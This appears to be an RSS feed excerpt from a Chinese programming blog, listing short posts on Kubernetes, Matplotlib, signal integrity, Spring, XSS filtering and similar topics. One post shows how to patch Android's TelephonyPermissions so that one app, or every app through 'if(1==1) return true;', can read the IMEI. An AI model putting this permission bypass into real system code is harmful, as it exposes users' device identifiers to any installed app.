      <guid>https://bchobby.github.io/posts/945b975f0bcac567df90a75ecb9821f3/</guid>
      <description>1、写题：全排列（有重复的元素）；&#xA;2、介绍项目经历（技术栈、框架、实现了什么功能）；&#xA;3、登录、鉴权、权限控制前台架构（用什么存了用户的信息，怎么去拦截的，怎么进行权限校验的）；&#xA;4、路由守卫；&#xA;5、通过axios怎样封装接口；&#xA;6、什么情况下用post接口、什么情况下用get接口；&#xA;7、在项目中webpack的配置有什么（vue.config.js还是web pack.js）；&#xA;8、loader和plugin的区别（loader（编译压缩）plugin插件（比较复杂的事件监听））；&#xA;9、JS的编程规范（ES6 复杂高级的一些写法）；&#xA;10、var、const、let的区别；&#xA;11、异步的发展历程：自己的理解（回调函数、promise、async await）；&#xA;12、浏览器输入一个url会发生什么；&#xA;13、资源文件的加载顺序（html、css、js、图片等）：先加载index.html，查询依赖的css文件、js文件，再加载js import的文件；&#xA;14、白屏优化；&#xA;15、虚拟dom机制（有dom更新才会刷新）；&#xA;16、项目中遇到的一些比较难的问题的总结；&#xA;17、数组树形化应不应该前端来做</description>
    </item>
    <item>
      <title>每日一问02——在训练过程中，若一个模型不收敛，是否说明这个模型无效？导致模型不收敛的原因有哪些？</title>
      <link>https://bchobby.github.io/posts/df75264de5d88fd5967b4fc0ebe30373/</link>
      <pubDate>Sun, 19 Jun 2022 10:24:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df75264de5d88fd5967b4fc0ebe30373/</guid>
      <description>每日一问02 Question：在训练过程中，若一个模型不收敛，是否说明这个模型无效？导致模型不收敛的原因有哪些？ 在训练过程中，如果模型不收敛并不能说明该模型时无效的。&#xA;导致模型不收敛的原因包括：&#xA;1. 没有对数据做归一化处理。&#xA;2. 没有使用正则化。&#xA;3.Batch Size设的太大&#xA;4.学习率设置的太大容易产生震荡，太小会导致不收敛。&#xA;5.没有做数据预处理。&#xA;6.没有检查过预处理结果和最终的训练测试结果。&#xA;7.网络存在坏梯度，比如当Relu对负值的梯度为0，反向传播时，梯度为0表示不传播。&#xA;8.网络设定不合理，网络太浅或者太深。&#xA;9.最后一层的激活函数错误。&#xA;10.参数初始化错误。&#xA;11.隐藏层神经元数量错误。&#xA;12.数据集标签的设置有错误。</description>
    </item>
    <item>
      <title>【OpenCV（C&#43;&#43;）】查找并绘制图像轮廓</title>
      <link>https://bchobby.github.io/posts/a7cafcd2efd33a2c2f1695fc3fa05530/</link>
      <pubDate>Sun, 19 Jun 2022 09:50:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7cafcd2efd33a2c2f1695fc3fa05530/</guid>
      <description>【OpenCV（C++）】查找并绘制图像轮廓 寻找轮廓：findContours()函数绘制轮廓：drawContours()函数基础轮廓查找查找并绘制轮廓 一个轮廓一般对应一系列点，也就是图像中的一条曲线。其表示方法可能根据不同的情况而有所不同。&#xA;寻找轮廓：findContours()函数 findContours()函数用于在二值函数中寻找轮廓。&#xA;void findContours( InputOutputArray image, OutputArrayOfArrarys contours, OutputArray hierarchy, int mode, int method, Point offset=Point() ); 绘制轮廓：drawContours()函数 drawContours()函数用于在图像中绘制外部或内部轮廓。&#xA;void drawContours( InputOutputArray image, InputArrayOfArrays contours, int contourIdx, const Scalar&amp;amp; color, int thickness=1, int lineType=8, InputArray hierarchy = noArray(), int maxLevel = INT_MAX, Point offset = Point() ); 基础轮廓查找 #include &amp;lt;opencv2/opencv.hpp&amp;gt; #include &amp;lt;opencv2/highgui/highgui.hpp&amp;gt; #include &amp;lt;opencv2/imgproc/imgproc.hpp&amp;gt; using namespace cv; using namespace std; int main(int argc, char** argv) { Mat srcImage = imread(&#34;</description>
    </item>
    <item>
      <title>k8s service clusterip&amp;nodeport访问不通</title>
      <link>https://bchobby.github.io/posts/1e129e0ac02150114171b2a1034891db/</link>
      <pubDate>Sat, 18 Jun 2022 23:42:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e129e0ac02150114171b2a1034891db/</guid>
      <description>文章目录 现象排查原因总结 现象 通过直接访问pod 可以访问通，通过clusterip&amp;amp;nodeport 两种方式都不通&#xA;排查 这是正常的service,serivce 能够映射到具体的pod，有问题的时候，endpoints为空，所以service 一直不通&#xA;原因 这种肯定是service的配置不对，没能通过label，映射到具体的pod&#xA;发现service 这里配置的不对&#xA;selector:&#xA;app: spring-java-demo&#xA;总结 网上有各种各样的答案，需要自己静下心来慢慢分析原因。这种不是随便都能找到答案的。</description>
    </item>
    <item>
      <title>Python数据分析10——使用Matplotlib绘制3D图</title>
      <link>https://bchobby.github.io/posts/6d3de23b1de3bc2a165a7217e1b3e068/</link>
      <pubDate>Sat, 18 Jun 2022 17:10:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d3de23b1de3bc2a165a7217e1b3e068/</guid>
      <description>目录&#xA;3D立体图形&#xA;3D绘图&#xA;3D散点图&#xA;3D曲线图&#xA;3D平面图&#xA;3D立体图形 绘制三维图像主要通过 mplot3d 模块实现。&#xA;from matplotlib import pyplot as plt from mpl_toolkits.mplot3d import Axes3D %matplotlib notebook 3D绘图 3D绘图与2D绘图使用的方法基本一致，不同的是，操作的对象变为了 Axes3D() 对象。&#xA;3D散点图 from matplotlib import pyplot as plt import numpy as np from mpl_toolkits.mplot3d import Axes3D x = np.random.rand(100) y = np.random.rand(100) z = np.random.rand(100) fig = plt.figure() ax = Axes3D(fig) ax.scatter(x,y,z,s=10,color=&#34;r&#34;,marker=&#39;o&#39;) plt.show() 3D曲线图 from matplotlib import pyplot as plt import numpy as np from mpl_toolkits.</description>
    </item>
    <item>
      <title>MTK Android 修改权限读取IMEI</title>
      <link>https://bchobby.github.io/posts/a15c32390c50a2579bf2c1bb65f12aa3/</link>
      <pubDate>Sat, 18 Jun 2022 09:56:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a15c32390c50a2579bf2c1bb65f12aa3/</guid>
      <description>针对android 11即使有了读取手机状态权限，使用反射依然获取不到IMEI，关键是还需要一项权限READ_PRIVILEGED_PHONE_STATE,这项权限没有获取途径，只能改系统。&#xA;文件路径&#xA;alps/frameworks/base/telephony/common/com/android/internal/telephony/TelephonyPermissions.java&#xA;checkPrivilegedReadPermissionOrCarrierPrivilegePermission 函数中添加指定app可读取IMEI&#xA;if(callingPackage.equals(&#34;com.xxx.xxx&#34;)){&#xA;return true;&#xA;}&#xA;或者开放权限所有APP都可能读取&#xA;if(1==1)&#xA;return true;</description>
    </item>
    <item>
      <title>信号完整性（SI）电源完整性（PI）学习笔记（二十二）差分对与差分阻抗（二）</title>
      <link>https://bchobby.github.io/posts/85f21e0c247a42c88cabc83ae07efadf/</link>
      <pubDate>Fri, 17 Jun 2022 21:56:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85f21e0c247a42c88cabc83ae07efadf/</guid>
      <description>差分对与差分阻抗（二）&#xA;1.实际耦合影响&#xA;当我们把两条带状线靠得很近时，它们的边缘电场和磁场就会互相覆盖之间的耦合强度也会很强。由电容和电感矩阵元素描述的耦合与所加电压完全无关，它只与导线的几何结构和材料特性有关。两条信号线的间距越小，他们之间的耦合就越强。&#xA;2.当两条信号线距离非常近时，邻近信号线的存在将会影响线1的阻抗称为接近效应。&#xA;（1）两条信号线由方向相反的两个信号跳变驱动，电流从驱动器流进信号线1，然后流向返回路径，当两条信号线靠近时，为了驱动单端信号线更大的电容，这个电流将会增大。如果所加电压没有变化而电流增加，则对驱动器而言，意味着输入阻抗减小。当给第二条信号线加上相反的信号，第一条信号线的单端特性阻抗会减小；&#xA;（2）假设给第二条信号线加上与第一条信号相同的信号，只有电容C11存在，这就意味着要驱动的电容减小了。此时流经信号线1的电流为：&#xA;3.我们发现，当有第二条临近信号线存在时，信号线1的特性阻抗不是一个特定的值，它还取决于邻近信号线被驱动的情况。&#xA;（1）如果信号线2被固定在0电位，则阻抗值接近于未耦合时的值；&#xA;（2）如果信号线2加相反信号，阻抗值就会降低；&#xA;（3）如果信号线2加相同信号，阻抗值就会升高。&#xA;差分信号在这两条信号上分别驱动两个相反的信号。正如前面所讨论的，此时每条信号线的阻抗会因为彼此之间的耦合而减小。&#xA;4.只处理单端信号，一条传输线仅用一个阻抗描述。但是当他是一对线中的一个且存在耦合时，需要用3种不同阻抗加以描述。&#xA;当两条信号线的间距逐渐减小时，差分阻抗的变化情况，对带状线而言，相比于线间距等于3倍线宽的无耦合情况，在可制造的最小间距（如线间距等于线宽）下，存在耦合时的差分阻抗也仅仅减小了12%。&#xA;5.五种分析计算差分阻值的变化&#xA;（1）直接使用近似式的结果；&#xA;（2）直接使用场求解器的结果；&#xA;（3）采用基于模态的分析；&#xA;（4）采用基于电容和电感矩阵的分析；&#xA;（5）采用基于阻抗矩阵的分析。&#xA;近似式：微带线差分阻抗的近似式：&#xA;耦合带状线，差分阻抗近似为：&#xA;准确场求解器计算：这里，近似算法先要借用场求解器给出的单端特性阻抗，再用近似就能预估出耦合对差分阻抗产生的轻微影响。只要给出特性阻抗初始值是正确的，这种近似误差在1%~10%之间。&#xA;运用场求解器的一个优势在于：在很多种几何结构中，基于此方法的一些计算工具的误差在1%以下。当准确度要求比较严格时，比较交付制造使用PCB版图的签发，这时唯一能够用的工具就是核验过的二维场求解器。绝对不能将近似式运用到设计签发当中。&#xA;6.一条信号线上的差分信号的返回电流由另一条信号线运送，等量电流从一条信号线流入，再从另一条信号线流出，这的确是事实，但并不是事实的全部。&#xA;因为这里差分对的两条信号线的线间距比较大，所以当用差分信号驱动时，返回平面中的电流不出现重叠。此时返回路径平面的总电流为0，但每条信号线下的平面中都有确定的局部电流分布，任何改变电流分布的因素都将会改变差分对的差分阻抗。&#xA;7.当差分对的信号线与返回路径平面之间的耦合程度大于两条信号之间的耦合时，返回路径平面中就会出现两路不同的相互分离的电流，并且返回路径电流分布只出现微小的重叠，返回路径电流分布严重制约差分对的差分阻抗，返回路径电流分布的扰动直接影响到差分阻抗。&#xA;8.对于任何一对公用返回导体的单端传输线而言，如果返回导体距信号走线足够远，差分信号的返回导体电流分布就相互重叠，并完全抵消掉。此时返回路径导体的存在对差分阻抗产生不了任何影响。这种特定的条件下，第一条信号线上的返回电流将完全可能由另一条信号线运送，有以下3种需要关注。&#xA;（1）边缘耦合微带线，返回平面足够远；&#xA;（2）双绞线电缆；&#xA;（3）宽边耦合带状线，返回平面足够远。&#xA;9.当信号线阻抗约为50Ω，线间距最小时，返回平面中有明显的电流分布，平面的存在将影响差分阻抗。如果将平面移到更远处，那么每条线的单端阻抗将会增加，差分阻抗也将会增加。然而，随着平面越移越远，差分信号的返回电流在平面中的重叠程度也就更大。&#xA;10.根据经验法则，当信号线与返回路径平面之间的距离大于等于两条信号线外边缘之间的跨度时，返回路径平面内的电流相互重叠，返回路径平面的存在对信号线的差分阻抗没有影响，此时对差分信号而言，一条信号线的返回电流完全可以看成由另一条信号线运送。&#xA;11.（1）当信号线与返回平面之间的耦合度大于两条信号之间的耦合度时，返回路径中出现明显的返回电流，平面在确定差分对差分阻抗时起到了重要作用；&#xA;（2）当两条信号线之间的耦合度远大于信号与返回平面之间的耦合度时，平面中的大部分返回电流会叠加抵消掉，平面不影响差分信号，将它移走也不影响到差分阻抗。&#xA;12.经验法则，要使两条信号线之间的耦合度大于信号信号线与返回平面之间的耦合度，则信号线与最近平面之间的距离必须大于两条信号线间距的2倍。</description>
    </item>
    <item>
      <title>我的c语言进阶学习笔记 ----- 关键字</title>
      <link>https://bchobby.github.io/posts/0f7c3645b3bbcd7b5c99c6f04b19aefe/</link>
      <pubDate>Fri, 17 Jun 2022 21:19:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f7c3645b3bbcd7b5c99c6f04b19aefe/</guid>
      <description>前言 这是我自己在学习c语言基础后，产生兴趣想继续深入学习，故开篇文章来记录一下，这段时光，这个最坏的时光，也是最好的时光。&#xA;关键字 c语言标准定义的32个关键字 关键字 意义&#xA;auto 声明自动变量，缺省时编译器一般默认auto&#xA;int 声明整形变量&#xA;double 声明双精度变量&#xA;long 声明长整型变量&#xA;char 声明字符型变量&#xA;float 声明浮点型变量&#xA;short 声明短整型变量&#xA;signed 声明有符号类型变量&#xA;unsigned 声明无符号类型变量&#xA;struct 声明结构体变量&#xA;union 声明联合体数据类型&#xA;enum 声明枚举类型&#xA;static 声明静态变量&#xA;switch 用于开关语句&#xA;case 开关语句分支&#xA;default 开关语句中的“其他”分支&#xA;break 跳出当前循环&#xA;register 声明寄存器变量&#xA;const 声明只读变量&#xA;volatile 说明变量在程序执行中可被隐含的改变&#xA;typedef 主要用以给数据类型取别名&#xA;extern 声明变量是在其他文件中声明&#xA;return 子程序返回语句（可以带参数，也可以不带参数）&#xA;void 声明函数无返回值或无参数，声明空类型指针&#xA;continue 结束当前循环，开始下一轮循环&#xA;do 循环语句的循环体&#xA;while 循环语句的循环条件&#xA;if 条件语句&#xA;else 条件语句否定分支（与if连用）&#xA;for 一种循环体&#xA;goto 无条件跳转语句&#xA;sizeof 计算对象所占内存空间大小</description>
    </item>
    <item>
      <title>Springboot 防止XSS攻击，包含解决RequestBody 的Json 格式参数</title>
      <link>https://bchobby.github.io/posts/6398c8264e5a2e13dab1af72c9f31baf/</link>
      <pubDate>Fri, 17 Jun 2022 18:40:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6398c8264e5a2e13dab1af72c9f31baf/</guid>
      <description>欢迎大家去我的个人网站踩踩 点这里哦 一、前言 最近项目做安全测试，发现存在XSS攻击的可能，于是乎上网找找看，找了很多基本都是继承HttpServletRequestWrapper，对getParam、getQueryString等获取参数的方法进行重写，对参数进行html转义，马上找一个加上试了试，可是发现保存的对象还是没有转义的，后来才想到项目是前后端分离，基本都是@RequestBody注解接收application/json格式参数，通过以上方法是获取不到参数的。&#xA;二、网上大多数的解决方案 XssHttpServletRequestWrapper、XssFilter&#xA;package com.mukanyun.common.extension; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.text.StringEscapeUtils; public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getQueryString() { return StringEscapeUtils.escapeHtml4(super.getQueryString()); } @Override public String getParameter(String name) { return StringEscapeUtils.escapeHtml4(super.getParameter(name)); } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (ArrayUtils.isEmpty(values)) { return values; } int length = values.length; String[] escapeValues = new String[length]; for (int i = 0; i &amp;lt; length; i++) { escapeValues[i] = StringEscapeUtils.</description>
    </item>
    <item>
      <title>Jupyter notebook内使用(添加)虚拟环境</title>
      <link>https://bchobby.github.io/posts/f5ee60a7d6ee0689a794bc0f1ad7e73f/</link>
      <pubDate>Fri, 17 Jun 2022 16:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5ee60a7d6ee0689a794bc0f1ad7e73f/</guid>
      <description>法一&#xA;在Anaconda里安装一个插件(在虚拟环境下)。&#xA;conda install nb_conda 然后启动Jupyter notebook即可&#xA;参考https://www.jianshu.com/p/afea092dda1d&#xA;法二&#xA;先激活想要添加的虚拟环境&#xA;然后&#xA;pip install ipykernel ipython 安装成功后&#xA;ipython kernel install --user --name pytorch1.6 注意：pytorch1.6是自己的虚拟环境名，大家按照自己的更改&#xA;输入命令之后，敲回车，会出现&#xA;Installed kernelspec pytorch1.6 in C:\Users\Sir\AppData\Roaming\jupyter\kernels\pytorch1.6 即表示添加虚拟环境成功。&#xA;打开Jupyter notebook，会看到原本只有Python3的地方，多了一个虚拟环境，添加成功啦啦。&#xA;如果大家以后想把已经添加成功的虚拟环境删除，可以先激活想要删除的虚拟环境&#xA;然后输入：&#xA;jupyter kernelspec remove pytorch1.6 终端处输入：Y — 表示同意删除，即可成功删除添加的虚拟环境&#xA;参考https://zhuanlan.zhihu.com/p/409063952</description>
    </item>
    <item>
      <title>【echarts】横向柱状图（条形图）渐变色，手把手教学</title>
      <link>https://bchobby.github.io/posts/06304269d86ad0b7d6148fd0f4a00bfd/</link>
      <pubDate>Fri, 17 Jun 2022 13:17:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06304269d86ad0b7d6148fd0f4a00bfd/</guid>
      <description>通常的柱状图 渐变色非的简单&#xA;series: [ { type: &#39;bar&#39;, data: this.rank.num, barWidth: &#39;10%&#39;, itemStyle: { color: { type: &#39;linear&#39;, x: 0, y: 0, x2: 0, y2: 1, colorStops: [{ offset: 0, color: &#39;##00BFFF&#39; // 0% 处的颜色 }, { offset: 1, color: &#39;#54FF9F&#39; // 100% 处的颜色 }], global: false // 缺省为 false } } } ] 横向的图表却不能照搬 因为渐变还是自下而上的就像这样：&#xA;在横向的图表中我们希望渐变是从左到右的&#xA;这种效果只需要改一下color的配置&#xA;```javascript series: [ { type: &#39;bar&#39;, barWidth: 12, data: this.justice.num, itemStyle: { barBorderRadius: [0, 20, 20, 0], color: new this.</description>
    </item>
    <item>
      <title>信号完整性（SI）电源完整性（PI）学习笔记（二十一）差分对与差分阻抗（一）</title>
      <link>https://bchobby.github.io/posts/a9a65e845cb65d0cb02ef551669b4918/</link>
      <pubDate>Thu, 16 Jun 2022 22:27:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9a65e845cb65d0cb02ef551669b4918/</guid>
      <description>差分对与差分阻抗（一）&#xA;1.差分对是指存在耦合的一对传输线。&#xA;差分信令是用两个输出驱动器去驱动两条独立的传输线，所测量的信号是两条线之间的差。差分信令与单端信令相比有许多优点：&#xA;（1）双驱动器产生的di/dt比单端驱动器时的大幅降低，从而减小了地弹，轨道塌陷和潜在的EMI。&#xA;（2）与单端放大器相比，接收器中的差分放大器可以有更高的增益；&#xA;（3）差分信号在一对紧耦合差分对中传播，其串扰较小，应对差分对的两条传输线公共返回路径中的突变的稳健性也比较好。&#xA;（4）差分信号通过连接器或封装时，不易受到地弹和开关噪声的干扰。&#xA;（5）使用价格低廉的双绞线即可实现较远距离的差分信号的传输。&#xA;缺点：&#xA;（1）会产生潜在的电磁干扰，存在共摸分量等；&#xA;（2）与单端传输信号相比，传输线差分信号需要两倍数量的信号；&#xA;（3）要理解许多新原理和重要的设计原则。&#xA;2.当两路驱动器驱动一个差分对时，除了各自的单端信号，这两路信号之间还存在一个电压差，这样的信号称为差分信号。&#xA;Vdiff=V1-V2&#xA;3.共摸信号定义：两条信号线上你给的平均电压表示：&#xA;4.这些有关差分信号和共摸信号的定义适用于所有的信号，任何加在一对传输线上的任意信号都可用差分分量和共摸分量去描述，并且这种描述方法是完整和唯一的。给出差分信号和共摸信号分量，每条信号与返回路径之间的单端信号电压可表示为：&#xA;5.在理想情况下，通常认为共模信号是恒定不变的直流。共摸信号通常不携带信息，因此也不会影响信号完整性和系统性能。&#xA;但是在实际电路互连物理过程中，共摸分量的改变将会潜在地引起如下两个十分重要的问题：&#xA;（1）如果共摸信号电压过高，就会使差分接收器的输入放大器饱和，使之不能准确的读入差分信号。&#xA;（2）如果在同轴线缆中的有变化的共摸信号，就会潜在地引起过量的EMI。&#xA;6.差分和共摸这两个术语总是并且只是指信号的特性，而不是指令传输线差分对的性质。&#xA;7.构成差分对只需要两条传输线就足够了，每条线都可以是简单地单端传输线，这两条线合在一起就称为一个差分对，常见的差分对外形截面：&#xA;（1）差分对最重要的是，它的横截面积恒定不变，而且使差分信号有一个恒定的阻抗；&#xA;（2）差分对第二个重要性质，每条线上的时延是相同的，从而确保了差分信号边沿的陡峭；&#xA;（3）两条传输线应该完全相同，线宽和两条线之间的介质间距也该完全相同；&#xA;（4）传输线的长度也必须完全相同，就能保证传输线上的时延相同。&#xA;（5）差分对的两条传输线之间不一定有耦合，但没有耦合将导致差分对的抗噪声能力下降。&#xA;8.差分信号感受到的阻抗，即差分阻抗，是差分信号的电压与其电流的比值，差分对最重要的电特性就是对差分信号的阻抗，称为差分阻抗。&#xA;9.流经信号线与返回路径之间的电流为&#xA;差分阻抗大小是单端信号特性阻抗的2倍，因为两条信号线之间的电压是每条信号线自身电压的2倍，而流经差分信号线的电流却与流经单端信号线的相同，如果单端信号的特性阻抗是50Ω，差分阻抗就是2*100Ω。&#xA;10.出现振铃的原因就在于差分信号在低阻抗的驱动器和高阻抗的线末端之间出现了多次反弹。消除反射的一种方法是在两条信号线的末端跨接一个端接电阻，去匹配差分阻抗，这个电阻器的阻值必须为：Rterm=Zdiff=2*Z0.&#xA;两条信号线之间的等效阻抗（差分阻抗）是串联阻抗，即Zdiff=Z0+Z0=2*Z0（不考虑耦合的情况下）。</description>
    </item>
    <item>
      <title>ST-Link使用教程</title>
      <link>https://bchobby.github.io/posts/d24d7ba222d4db6ef648c3f7458e922d/</link>
      <pubDate>Thu, 16 Jun 2022 19:06:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d24d7ba222d4db6ef648c3f7458e922d/</guid>
      <description>1.电脑安装软件&#xA;2.点击确定&#xA;3.下一步&#xA;4.下一步&#xA;5.下一步&#xA;6.下一步&#xA;7.下一步&#xA;8.等待安装完成&#xA;9.等待&#xA;10.完成安装&#xA;11.打开 ST Visual Programmer&#xA;12.选择芯片&#xA;13.选择芯片类型（STM8L051x3）【我自己刷的是这个芯片，其他芯片可以自己在里面搜索】&#xA;14.打开文件&#xA;15.找到固件文件【一般尾缀是.hex，我的是自己的】&#xA;16.打开&#xA;17.进行硬件连接，电脑USB terminal与ST-LINK USB terminal 连接【注意：你烧录的模块记得通电，很多人没把设备通电就刷，会报错的，显示是连接失败（cannot communicate with the devices）】&#xA;18.设备连接如下图： 19.点击箭头的按钮进行烧录即可&#xA;20.完成烧录，将ST-LINK连接去除，设备即可使用。&#xA;21.如果烧录报错，检查文件名称是否正确，下图是可以看到文件名称【我这里是door_sensor_433_77(2).hex】&#xA;22.如果烧录报错，检查ST-Link是否是烧录的黄色灯，如果是黄色灯，可能是之前你烧录过，还没断开连接，解决方法是：将ST-Link与电脑USB口重新断开，再插入，即可解决！&#xA;23.注意：每次烧录尽量关闭软件后重新打开，这样保证不会刷错到以前的程序！</description>
    </item>
    <item>
      <title>如何手动创建Spring的applicationContext.xml配置文件</title>
      <link>https://bchobby.github.io/posts/e7882abac658416a05b51ece649e1a5f/</link>
      <pubDate>Thu, 16 Jun 2022 16:15:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7882abac658416a05b51ece649e1a5f/</guid>
      <description>如何手动创建Spring的applicationContext.xml配置文件 1、新建一个web工程，File—&amp;gt;New—&amp;gt;Dynamic Web Project，起名，连续两个Next后，勾选Generate web.xml deployment descriptor(这一步忘了勾选也没关系，是用来自动生成web.xml文件的，可以后期补。)&#xA;2、找到src，右键New—&amp;gt;Other,&#xA;输入spring，找到Spring Bean Configuration File，Next&#xA;输入名称applicationContext.xml【该配置文件名称可以自定义，但通常在实际开发中，都会将配置文件命名为applicationContext.xml（有时也会命名为beans.xml）】，Finish。&#xA;我是因为已经创建了一个applicationContext.xml，所以图片里我写的是applicationContext1.xml，不然Finish是灰色的不好截图。&#xA;最终效果：&#xA;同时你的工程文件也会由一个普通工程转变为Spring工程，图标的右上角J-&amp;gt;S（在第一步你新建web工程后右上角最初是J，没观察到的话你可以再新建一个观察一下，图中chapter_02就是为了我方便对比新建的没有配置applicationContext.xml文件的普通工程）。&#xA;END（后为无意义内容）&#xA;整理这一部分主要是自己困惑过，自己在大学里学习Spring时就晕头转向，配置文件这一块书上并没有详细操作，只有学的时候跟着老师操作过一次，之后都是复制工程直接改，在毕业设计时想要手动创建却不记得选哪一个选项了，查了百度，感觉最普遍的一个答案明显跟自己记忆中不符，最终放弃，依然是复制的之前的工程。今天去找了B站的Spring视频，试了一下发现步骤是对的，整理在这里，希望能帮到其他跟我一样的小白。&#xA;第二个就是也曾经百度过如何让Java工程右上角的J变成S，最后得到的只有把工程文件变成Spring文件就可以这样很随便的答案（废话啊！我就是想知道怎么变成Spring文件啊！是谁让这么白痴的答案上榜的！），所以百度也不一定靠谱。</description>
    </item>
    <item>
      <title>Python数据分析8——Matplotlib基本绘图</title>
      <link>https://bchobby.github.io/posts/1dd14b2cb68e6b0b3c1c87a7fd7d1b85/</link>
      <pubDate>Thu, 16 Jun 2022 12:33:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dd14b2cb68e6b0b3c1c87a7fd7d1b85/</guid>
      <description>目录&#xA;一.Matplotlib介绍安装&#xA;Matplotlib介绍&#xA;作用&#xA;Matplotlib安装&#xA;二.使用Matplotlib绘制基本图形 1.折线图&#xA;折线图绘制&#xA;折线图特点&#xA;2.plt基本方法——图形的基本设置&#xA;方法&#xA;中文显示问题及负数显示&#xA;使用Jupyter的plt.show()不直接显示图像问题&#xA;添加注释文本&#xA;3. 条形图&#xA;条形图绘制&#xA;条形图特点 4.饼图&#xA;饼图绘制&#xA;饼图特点&#xA;5.直方图&#xA;直方图绘制&#xA;直方图特点&#xA;6.箱线图&#xA;绘制箱线图&#xA;箱线图特点 7.散点图&#xA;散点图绘制&#xA;散点图特点 8.雷达图&#xA;绘制雷达图&#xA;雷达图特点&#xA;一.Matplotlib介绍安装 Matplotlib介绍 Matplotlib是一个Python的基本绘图库，它可以和Numpy一起使用。代替Matlab的一些功能。&#xA;作用 1.将数据进行可视化，使数据更直观；&#xA;2.使数据更加更具有说服力；&#xA;Matplotlib安装 由于Matplotlib是第三方库，所以我们需要安装它才可以使用。&#xA;安装命令：pip install matplotlib&#xA;安装参考：Installation — Matplotlib 3.5.2 documentationhttps://matplotlib.org/stable/users/installing/index.html&#xA;二.使用Matplotlib绘制基本图形 1.折线图 折线图绘制 方法：plot（）函数&#xA;plt.plot(x,y)——默认的线样式及颜色绘制x,y构建的图形&#xA;实例：&#xA;参数：&#xA;（1）color 设置线的颜色；&#xA;（2）linestyle 设置线的样式；&#xA;（3）marker 标记样式；&#xA;（4）markerfacecolor 标记样式的颜色；&#xA;（5）markersize 标记样式的大小；&#xA;样式表：&#xA;等......&#xA;实例：</description>
    </item>
    <item>
      <title>Centos 7 LVM xfs文件系统修复</title>
      <link>https://bchobby.github.io/posts/09fd87584ef25445ff0a52fc89face5a/</link>
      <pubDate>Thu, 16 Jun 2022 10:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09fd87584ef25445ff0a52fc89face5a/</guid>
      <description>有时CentOS7启动异常，报XFS的错误，可以在emergency mode下尝试xfs_repair命令修复。&#xA;如果是LVM分区，先查看分区&#xA;#ls -l /dev/mapper&#xA;如果报错中明确告知了哪个分区出错了，比如dm-2，则针对其进行修复，命令如下：&#xA;#xfs_repair /dev/dm-2&#xA;若出现如下提示：&#xA;加上-L参数：&#xA;#xfs_repair -L /dev/dm-2&#xA;最后重启&#xA;#init 6&#xA;2022-06-16补充&#xA;如果报XFS(sda1): I/O Error 之类的错误，可在尝试在emergency mode，执行如下命令修复：&#xA;#xfs_repair -L /dev/sda1</description>
    </item>
    <item>
      <title>[spring学习]5、bean的后置处理器(BeanPostProcessor)</title>
      <link>https://bchobby.github.io/posts/39894ef92861de49f398a0816075e090/</link>
      <pubDate>Thu, 16 Jun 2022 00:36:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39894ef92861de49f398a0816075e090/</guid>
      <description>目录&#xA;前言&#xA;基本说明&#xA;BeanPostProcessor的基本使用&#xA;实例应用&#xA;总结&#xA;前言 在这篇文章中，将会介绍bean的后置处理器，由于这个涉及到AOP的思想，这里不进行过多的深入，也就是不讲原理（后面文章会手写源码），这里只介绍后置处理器如何使用。&#xA;基本说明 在spring中，后置处理器会在bean初始化化之前和初始化之后进行调用，做相应的处理，我们可以在后置处理器中对bean进行统一的管理和操作&#xA;BeanPostProcessor的基本使用 我们要使用后置处理器，首先需要实现BeanPoatProcessor这个接口，下面我们创建一个类来实现这个接口。 在IDEA中，按ctrl+i，重写2个方法&#xA;postProcessBeforeInitialization和 postProcessAfterInitialization这2个方法，一个是在bean的初始化方法之前调用，一个是在bean初始化方法之后调用，它们的参数都是一样的，下面进行介绍&#xA;参数介绍&#xA;第一个参数 Object：表示我们配置的bean对象第二个参数 String：就是我们配置bean时指定的名称返回值 Object：这个就是我们对bean处理后要进行返回的bean，返回后，spring容器的中的bean就是我们这里返回的bean 使用 创建好之后要进行配置才能生效，这个很简单，只需要将我们创建的后置处理器加入到spring容器即可，就像正常的bean那样配置就行&#xA;注意事项&#xA;后置处理器会对所有的bean都生效，使用时需要注意，也就是所有bean创建前和创建后都会调用我们配置的后置处理器的对应方法&#xA;实例应用 我们创建一个People类，该类有一个gender属性，一个describe属性，要求就是当我们创建时bean时，如果gender是男，describe就是这是一个男生，否则describe就是这是一个女生。&#xA;首先创建People类&#xA;public class People { private String gender; private String describe; public String getGender() { return gender; } public void setGender(String gender) { this.gender = gender; } public String getDescribe() { return describe; } public void setDescribe(String describe) { this.describe = describe; } @Override public String toString() { return &#34;</description>
    </item>
    <item>
      <title>【R语言】logistic回归（二）多因素logistic回归</title>
      <link>https://bchobby.github.io/posts/7530c0eb90ba987abed63344c71a3995/</link>
      <pubDate>Thu, 16 Jun 2022 00:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7530c0eb90ba987abed63344c71a3995/</guid>
